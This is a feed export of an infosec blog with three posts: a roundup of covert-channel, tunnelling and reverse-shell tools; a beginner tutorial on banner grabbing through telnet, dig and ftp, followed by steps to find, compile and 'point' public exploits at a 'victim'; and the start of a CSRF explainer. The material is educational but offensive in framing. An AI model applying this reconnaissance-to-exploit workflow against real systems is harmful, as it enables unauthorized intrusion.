* PLEASE see the enclosed paper for more information!! &lt;br /&gt;
* &lt;br /&gt;
* This software should be used at your own risk. &lt;br /&gt;
* &lt;br /&gt;
* compile: cc -o covert_tcp covert_tcp.c &lt;br /&gt;
------------ &lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://www.cycom.se/dl/rrs&quot; target=&quot;_blank&quot;&gt;http://www.cycom.se/dl/rrs&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
rrs is a reverse (connecting) remote shell. Instead of listening for 
incoming connections it will connect out to a listener (rrs in listen 
mode). The listener will accept the connection and receive a shell from 
the remote host. rrs features full pseudo-tty support, full OpenSSL 
support (high encryption, client/server authentication, choice of cipher
 suites), Two-fish encryption, a simple XOR cipher, plain-text 
(unencrypted) session, peer-side session monitoring (snooping), daemon 
option and reconnection features. rrs is Free Software distributed under
 the MIT License and is known to compile and run under Linux, FreeBSD, 
NetBSD, OpenBSD and QNX. &lt;br /&gt;
&lt;br /&gt;
----- &lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://www.plenz.com/reverseshell&quot; target=&quot;_blank&quot;&gt;http://www.plenz.com/reverseshell&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
In this little guide I&#39;ll quickly cover three very helpful methods to get a reverse shell on a host, using ssh, netcat or Perl. &lt;br /&gt;
&lt;br /&gt;
----- &lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://sourceforge.net/projects/matahari/&quot; target=&quot;_blank&quot;&gt;http://sourceforge.net/projects/matahari/&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
A reverse HTTP shell to execute commands on remote machines behind 
firewalls. Once you run the script on the target machine, it 
periodically polls its designated server for commands to execute. 
Traffic traverses firewall as outgoing GET/POST requests. &lt;br /&gt;
&lt;br /&gt;
----- &lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://www.iv2-technologies.com/CovertChannels.pdf&quot; target=&quot;_blank&quot;&gt;http://www.iv2-technologies.com/CovertChannels.pdf&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
the reason why ICMP was one of the first protocols that was used for &lt;br /&gt;
covert channels, often considered (and is still sometimes) as innocuous 
and offering a great &quot;legitimate&quot; possible load thanks to the data 
field. This field provides from 84 bytes (ICMP Redirect/Destination 
unreachable) to (MTU-28) bytes (ICMP echo request/replies), which is a 
very good capacity. &lt;br /&gt;
A trivial implementation is provided by the icmpchat tool [icmpchat]. 
This is an ICMP stealth equivalent of talk using any ICMP type and code 
and providing encryption. &lt;br /&gt;
&lt;br /&gt;
At the application layer, covert channels will make possible to use 
legitimate traffic both from the security policy and communication 
standards point of view. Also such traffic should not look too 
suspicious as important HTTP traffic always look more natural than &lt;br /&gt;
ICMP. &lt;br /&gt;
Due to outgoing restrictions, most application traffics used to create 
channels are the web, mail and DNS ones. When they are linked to really 
mechanisms such as proxy chains or anonymous re-mailers, these channels 
ensure integrity (in the TCP meaning) of the communication, very good 
capacity and an indubitable resistance to source trace-back. &lt;br /&gt;
What is more, and because application protocols are full of functionalists, &lt;br /&gt;
possibilities to create channels are almost unlimited. &lt;br /&gt;
&lt;br /&gt;
----- &lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://caia.swin.edu.au/cv/szander/cc/cc-implementations-bib.html&quot; target=&quot;_blank&quot;&gt;http://caia.swin.edu.au/cv/szander/cc/c ... s-bib.html&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
[1] D. Stødle. ptunnel - Ping Tunnel, 2005. &lt;a class=&quot;externalLink&quot; href=&quot;http://www.cs.uit.no/daniels/PingTunnel&quot; target=&quot;_blank&quot;&gt;http://www.cs.uit.no/daniels/PingTunnel&lt;/a&gt;. &lt;br /&gt;
[ http ] &lt;br /&gt;
[2] P. LeBoutillier. HTTunnel, 2005. &lt;a class=&quot;externalLink&quot; href=&quot;http://sourceforge.net/projects/httunnel/&quot; target=&quot;_blank&quot;&gt;http://sourceforge.net/projects/httunnel/&lt;/a&gt;. &lt;br /&gt;
[ http ] &lt;br /&gt;
[3] T. M. Gil. IP-over-ICMP using ICMPTX, 2005. &lt;a class=&quot;externalLink&quot; href=&quot;http://thomer.com/icmptx/&quot; target=&quot;_blank&quot;&gt;http://thomer.com/icmptx/&lt;/a&gt;. &lt;br /&gt;
[ http ] &lt;br /&gt;
[4] T. M. Gil. IP-over-DNS using NSTX, 2005. &lt;a class=&quot;externalLink&quot; href=&quot;http://thomer.com/howtos/nstx/&quot; target=&quot;_blank&quot;&gt;http://thomer.com/howtos/nstx/&lt;/a&gt;. &lt;br /&gt;
[ http ] &lt;br /&gt;
[5] Sergey Chvalyuk. Icmp Tunnel - ITun, 2005. &lt;a class=&quot;externalLink&quot; href=&quot;http://sourceforge.net/projects/itun&quot; target=&quot;_blank&quot;&gt;http://sourceforge.net/projects/itun&lt;/a&gt;. &lt;br /&gt;
[ http ] &lt;br /&gt;
[6] I. Zelenchuk. Skeeve - ICMP bounce tunnel, 2004. &lt;a class=&quot;externalLink&quot; href=&quot;http://www.gray-world.net/poc_skeeve.shtml&quot; target=&quot;_blank&quot;&gt;http://www.gray-world.net/poc_skeeve.shtml&lt;/a&gt;. &lt;br /&gt;
[ http ] &lt;br /&gt;
[7] T. Pietraszek. IP-over-DNS tunneling using DNScat, 2004. &lt;a class=&quot;externalLink&quot; href=&quot;http://tadek.pietraszek.org/projects/DNScat/&quot; target=&quot;_blank&quot;&gt;http://tadek.pietraszek.org/projects/DNScat/&lt;/a&gt;. &lt;br /&gt;
[ http ] &lt;br /&gt;
[8] D. Kaminsky. IP-over-DNS using Ozyman, 2004. &lt;a class=&quot;externalLink&quot; href=&quot;http://www.doxpara.com/&quot; target=&quot;_blank&quot;&gt;http://www.doxpara.com/&lt;/a&gt;. &lt;br /&gt;
[ http ] &lt;br /&gt;
[9] J. Rutkowska. NUSHU Passive Covert Channels in the Linux Kernel, 2004. &lt;a class=&quot;externalLink&quot; href=&quot;http://www.invisiblethings.org/tools.html&quot; target=&quot;_blank&quot;&gt;http://www.invisiblethings.org/tools.html&lt;/a&gt;. &lt;br /&gt;
[ .html ] &lt;br /&gt;
[10] T. MacDermid. StegTunnel - Covert Channel in IPID, 2003. &lt;a class=&quot;externalLink&quot; href=&quot;http://www.synacklabs.net/projects/stegtunnel&quot; target=&quot;_blank&quot;&gt;http://www.synacklabs.net/projects/stegtunnel&lt;/a&gt;. &lt;br /&gt;
[ http ] &lt;br /&gt;
[11] M. Langston. Sifr&#39;s Obfuscator (PoC-code), 2003. &lt;a class=&quot;externalLink&quot; href=&quot;http://www.bitshift.org/archives/new-sob.c&quot; target=&quot;_blank&quot;&gt;http://www.bitshift.org/archives/new-sob.c&lt;/a&gt;. &lt;br /&gt;
[ http ] &lt;br /&gt;
[12] S. Castro. Covert Channel Tunneling Tool (cctt), 2003. &lt;a class=&quot;externalLink&quot; href=&quot;http://gray-world.net/pr_cctt.shtml&quot; target=&quot;_blank&quot;&gt;http://gray-world.net/pr_cctt.shtml&lt;/a&gt;. &lt;br /&gt;
[ http ] &lt;br /&gt;
[13] A. Dyatlov. Firepass - Is a Tunneling Tool, 2003. &lt;a class=&quot;externalLink&quot; href=&quot;http://gray-world.net/pr_firepass.shtml&quot; target=&quot;_blank&quot;&gt;http://gray-world.net/pr_firepass.shtml&lt;/a&gt;. &lt;br /&gt;
[ http ] &lt;br /&gt;
[14] P. Padgett. Corkscrew, 2001. &lt;a class=&quot;externalLink&quot; href=&quot;http://www.agroman.net/corkscrew/&quot; target=&quot;_blank&quot;&gt;http://www.agroman.net/corkscrew/&lt;/a&gt;. &lt;br /&gt;
[ http ] &lt;br /&gt;
[15] A. Vidstrom. AckCmd Backdoor, 2000. &lt;a class=&quot;externalLink&quot; href=&quot;http://ntsecurity.nu/toolbox/ackcmd/&quot; target=&quot;_blank&quot;&gt;http://ntsecurity.nu/toolbox/ackcmd/&lt;/a&gt;. &lt;br /&gt;
[ http ] &lt;br /&gt;
[16] M. Lundström. MailTunnel. &lt;a class=&quot;externalLink&quot; href=&quot;http://gray-world.net/tools/mailtunnel-0.2.tar.gz&quot; target=&quot;_blank&quot;&gt;http://gray-world.net/tools/mailtunnel-0.2.tar.gz&lt;/a&gt;. &lt;br /&gt;
[ http ] &lt;br /&gt;
[17] A. Heydecke. Sockster/trapster - covert channel and tunnel development. &lt;a class=&quot;externalLink&quot; href=&quot;http://tunnel.gotdns.org/&quot; target=&quot;_blank&quot;&gt;http://tunnel.gotdns.org&lt;/a&gt;. &lt;br /&gt;
[ http ] &lt;br /&gt;
[18] W. Zheng. MsnShell - Encapsulate Shell Commands Within MSN. &lt;a class=&quot;externalLink&quot; href=&quot;http://gray-world.net/pr_msnshell.shtml&quot; target=&quot;_blank&quot;&gt;http://gray-world.net/pr_msnshell.shtml&lt;/a&gt;.&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/1170991655335696479'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/1170991655335696479'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/09/covert-channels-on-internet-protocols.html' title='Covert Channels on Internet Protocols'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-8259111193895332471</id><published>2012-09-25T02:43:00.000+05:30</published><updated>2012-09-25T02:43:04.638+05:30</updated><title type='text'>Banner Grabbing: Enumeration &amp; Exploitation</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;messageContent&quot;&gt;
		
			&lt;article&gt;
				&lt;blockquote class=&quot;messageText ugc baseHtml&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Banner Grabbing: Enumeration &amp;amp; Exploitation&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;&lt;div align=&quot;center&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;=============================================&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt; Banner Grabbing: Enumeration &amp;amp; Exploitation&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;=============================================&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Most of the time an attackers, wants to find out a remote service&#39;s 
version, so that he can exploit it with an exploit/vulnerability, duh.&lt;br /&gt;
&lt;br /&gt;
As a general rule method, a nice tool such as amap can be used to 
determine the running services, their versions, and also the port(s) 
they&#39;re running on. For all lazy bum, use it in this format:&lt;br /&gt;
&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
[$bash]$ amap -sT intranet.example.com 1234&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;
But, that&#39;s too lazy, and it&#39;s not 1337 at all!&lt;br /&gt;
Why use tools, when you can learn a lot more by doing it manually. So, 
let me take the people who do NOT know how to enumerate or exploit, 
through the rabbit hole. Let&#39;s go by example.. and do the easiest one 
first,&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ff9900;&quot;&gt;1. FTP Enumeration &amp;amp; Exploitation, for beginners&lt;/span&gt;:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
a) For a server running an FTP server. To find it&#39;s version, all we do 
is connect to the server, and wait like good boys and girls. Hopefully, 
the admin is a dummy, and he didn&#39;t fake the banner info. So, go ahead 
and ftp to the server:&lt;br /&gt;
&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
[$bash]$ ftp 192.168.1.1&lt;br /&gt;
connected to 192.168.1.1 (192.168.1.1)&lt;br /&gt;
220 192.168.1.1 FTP Server (version wu-2.6.2+Sun) ready.&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
We, could have done the same thing with Telnet... remember?&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
[$bash]$ telnet 192.168.1.1 21&lt;br /&gt;
connected to 192.168.1.1 (192.168.1.1)&lt;br /&gt;
220 192.168.1.1 FTP Server (version wu-2.6.2+Sun) ready.&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;
You&#39;ve just grabbed their banner (how Schwetty!)&lt;br /&gt;
&lt;br /&gt;
Now, we know the version from the result of the established connection.&lt;br /&gt;
Logically, Since you&#39;re a bad boy/girl you think first and foremost about getting into the server.&lt;br /&gt;
In order to get in, you go to google and type in &quot;wu-2.6.2 exploit&quot;. 
Hopefully, you get a code in c (.c) or perl (.pl) already coded for 
you.. Or go to securityfocus, or milw0rm and find the exploit.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;b) Go ahead, download the C or Perl exploit. For this example, the I found the exploit in C by using google:&lt;/b&gt;&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://marc.theaimsgroup.com/?l=bugtraq&amp;amp;m=106001702232325&amp;amp;w=2&quot; target=&quot;_blank&quot;&gt;http://marc.theaimsgroup.com/?l=bugtraq&amp;amp;m=106001702232325&amp;amp;w=2&lt;/a&gt;&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;c) Compile it, with GCC:&lt;/b&gt;&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
[$bash]$ gcc wu262.c -o wu262&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;d) Point it to your victim (lol):&lt;/b&gt;&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
[$bash]$ ./wu262.c 192.168.1.100&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;
[If you don&#39;t know how to make exploits right now, learn how to make 
your own! It won&#39;t always be this EASY, and most of the time it&#39;s not! 
Learn C, Perl, Ruby, or C++. I&#39;m only using this as an example, since I 
can&#39;t cover how to to make exploits in the same tutorial. Time willing, I
 will make something on that topic later.]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;&lt;b&gt;2. SSH Enumeration &amp;amp; Exploitation, for beginners:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The same concepts and techniques apply also for the SSH deamon or 
service. So go ahead and telnet to it, but this time to port 22, instead
 of port 21.&lt;br /&gt;
&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
[$bash]$ telnet 192.168.1.1 22&lt;br /&gt;
Trying 192.168.1.1...&lt;br /&gt;
Connected to 192.168.1.1.&lt;br /&gt;
Escape Character is &#39;^]&#39;.&lt;br /&gt;
SSH-1.99-OpenSSH_3.4pl&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;
You&#39;ve just grabbed their banner (how Schwetty!)&lt;br /&gt;
&lt;br /&gt;
So, use google (&#39;Tis really an amazing Engine!&quot;).&lt;br /&gt;
Download, Compile, and &quot;point&quot; your exploit to the target. If all went 
well, then your payload should be whatever the shellcode is set to do.&lt;br /&gt;
&lt;br /&gt;
[Shellcoding is also something I recommend getting into. Microprocessor 
Architecture, Assembly Programming, and Hex knowledge helps a LOT in 
coding your exploits.]&lt;br /&gt;
&lt;br /&gt;
HOPEFULLY, since you understood the above examples work, you can apply it to other services, like:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #ff9900;&quot;&gt;3. SNMP (Simple Mail Transfer Protocol) on Port 25&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;&lt;b&gt;4. POP3 (Post Office Protocol 3) on Port 110&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #ff9900;&quot;&gt;5. DNS (Domain Name System) on Port 53&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
The most widely used DNS server software on Linux is Bind, so to find it&#39;s version, we use a different method:&lt;br /&gt;
&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
[$bash]$ dig -t tct -c chaos VERSION.BIND @192.168.1.1&lt;br /&gt;
... (look for something like this, but there&#39;s a lot of output)&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
;VERSION.BIND 0 CH TXT &quot;8.3.3-REL&quot;&lt;br /&gt;
;; Query Time: 30 msec&lt;br /&gt;
;; SERVER: 192.168.1.1#53 (192.168.1.1)&lt;br /&gt;
;; WHEN: SAT Jan 18 03:30:30 2007&lt;br /&gt;
;; MSG SIZE rcvd: 64&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;
We can see the version is: Bind 8.3.3 (so, you know what to do from here).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #ff9900;&quot;&gt;6. HTTP (HyperText Transfer Protocol) on Port 80&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
[$bash]$ telnet 192.168.1.1 80&lt;br /&gt;
trying 192.168.1.1...&lt;br /&gt;
connected to &lt;a class=&quot;externalLink&quot; href=&quot;http://www.example.com/&quot; target=&quot;_blank&quot;&gt;www.example.com&lt;/a&gt;.&lt;br /&gt;
Escape Character is &#39;^]&#39;.&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
and query the server for the following info:&lt;br /&gt;
&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
HEAD / HTTP/1.0&lt;br /&gt;
[ENTER][ENTER]&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;
you should get a response resembling the following:&lt;br /&gt;
&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: SAT Jan 18 03:30:30 2007&lt;br /&gt;
Server: Apache/1.3.27 (Unix) PHP/4.2.1 mod_jk/1.2.0 mod_ssl/2.8.12 OpenSSL/0.9.6h&lt;br /&gt;
...&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;
WOW, what a bunch of information.. There&#39;s so much we can do with this. 
But it&#39;s up to you to decided what you want to attack, because we have 
such a plethora of choices.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;&lt;b&gt;7. MySQL on Port 3306 (TCP)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
[$bash]$ telnet 192.168.1.1 3306&lt;br /&gt;
trying 192.168.1.1...&lt;br /&gt;
connected to &lt;a class=&quot;externalLink&quot; href=&quot;http://www.example.com/&quot; target=&quot;_blank&quot;&gt;www.example.com&lt;/a&gt;.&lt;br /&gt;
Escape Character is &#39;^]&#39;.&lt;br /&gt;
(3.23.49&amp;amp;r/3Nod*Connection closed by foreign Host.&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;
Hmmm... Beautiful! We see the version, here, is 3.23.49&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;&lt;b&gt;8. Obtaining the Victim&#39;s Telnet Server Banner (which, hopefully, reveals the OS Version...)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
[$bash]$ telnet 192.168.1.1&lt;br /&gt;
Trying 192.168.1.1...&lt;br /&gt;
Connected to 192.168.1.1.&lt;br /&gt;
Escape Character is &#39;^]&#39;.&lt;br /&gt;
SunOS 5.8&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;
Now, we know their OS, and also it&#39;s version (Sun 5.8).&lt;br /&gt;
Thus, we go on search looking for that particular OS&#39;s vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
For example, I&#39;ve found Several Vulnerabilities of that particular OS 
Version, that are hopefully still unpatched by Administrator.&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
-------------------------------&lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;Solaris Whodo Buffer Overflow Vulnerability (Exploit, SOR, CFTIME)&lt;/span&gt;&lt;br /&gt;
 &lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://www.securiteam.com/exploits/5AP0E0U4UU.html&quot; target=&quot;_blank&quot;&gt;http://www.securiteam.com/exploits/5AP0E0U4UU.html&lt;/a&gt;&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;Multiple Vendor rpc.yppasswdd Buffer Overrun Vulnerability&lt;/span&gt;&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://www.securityfocus.com/bid/2763/discuss&quot; target=&quot;_blank&quot;&gt;http://www.securityfocus.com/bid/2763/discuss&lt;/a&gt;&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;Solaris uucp Buffer Overflow Vulnerability&lt;/span&gt;&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=92&quot; target=&quot;_blank&quot;&gt;http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=92&lt;/a&gt;&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;The Sun Solstice Enterprise Manager (Solstice EM) daemon and the Sun SNMP agent components&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;h&lt;/span&gt;&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
ttp://&lt;a class=&quot;externalLink&quot; href=&quot;http://www.symantec.com/security_response/vulnerability.jsp?bid=2005&quot; target=&quot;_blank&quot;&gt;www.symantec.com/security_response/vulnerability.jsp?bid=2005&lt;/a&gt;&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;
These are old exploits, but once again, this is just an example to simulate the real world.&lt;br /&gt;
&lt;br /&gt;
Hope you at least got something out of this tutorial.&lt;br /&gt;&lt;div align=&quot;center&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: magenta;&quot;&gt;---------------------------------------------THANK YOU ALL ----------------------------------------------&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/article&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/8259111193895332471'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/8259111193895332471'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/09/banner-grabbing-enumeration-exploitation.html' title='Banner Grabbing: Enumeration &amp; Exploitation'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-3771492355640057905</id><published>2012-09-25T02:41:00.005+05:30</published><updated>2012-09-25T02:41:48.509+05:30</updated><title type='text'>Introduction to Cross Site Request Forgery</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;Introduction to Cross Site Request Forgery&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&quot;KNOWLEDGE IS FREE&quot;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Website security An introduction to Cross-site request forgery. Description, explanation, examples, prevention&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: #674ea7;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;-------------------------------------&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Introduction to&lt;/span&gt;&lt;/b&gt;
&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Cross Site Request Forgery&lt;/span&gt;&lt;/b&gt;
&lt;br /&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;-------------------------------------&lt;/b&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;&lt;b&gt;What is it?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Instead of just a definition, how about a situational breakdown first:&lt;br /&gt;
Cross-site: The action is being done by one user(on a site) and it affects one or more other users(on other sites).&lt;br /&gt;
Request: An HTTP request being made on a page&lt;br /&gt;
Forgery: Someone else sending a request your way and you making it&lt;br /&gt;
CSRF or XSRF for short&lt;br /&gt;
The two most fitting nicknames for it I think are Sea-Surf(made from 
pronouncing the acronym CSRF, you are surfing the internet taking 
advantage of their session) and session riding, since you are taking 
advantage of another user&#39;s session to perform certain tasks(riding it).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;&lt;b&gt;Different?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
You may have noticed how the name is similar to XSS as far as the 
cross-site part goes. This is true because both attacks require more 
than one user to carry out. In an XSS example, you would need one person
 to&lt;br /&gt;
inject code into a guestbook, but then another user to view that page 
and get his cookies stolen. In a similar sense, in a CSRF attack one 
user would trick another into making a request. With CSRF though, a 
certain&lt;br /&gt;
script may be executed when they visit the page, but there is an action 
being performed just by them accessing the page. It&#39;s not something on 
the page that&#39;s being exploited, but just them going to the page 
unknowingly.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;&lt;b&gt;What is required?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Some form of authentication. Like I said, it is a two person job. The 
victim is logged in and when he &quot;signs&quot; these forged requests, he(or 
she) is actually doing the final step of the attack. It&#39;s required for 
the person&lt;br /&gt;
to have some kind of privilege on the site, whether it be admin, 
developer, or a plain and simple registered user. The reason is because a
 number of new pages are now available once you have some sort of 
further&lt;br /&gt;
access within the site. (Like when you are logged out of HBH, you can&#39;t 
use the shoutbox, post in the forums, do the challenges, submit code 
etc) Just like you couldn&#39;t make a new entry or add a friend unless 
logged&lt;br /&gt;
in on myspace or another blog/networking site. A person viewing your site that is not logged in would not be at risk.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
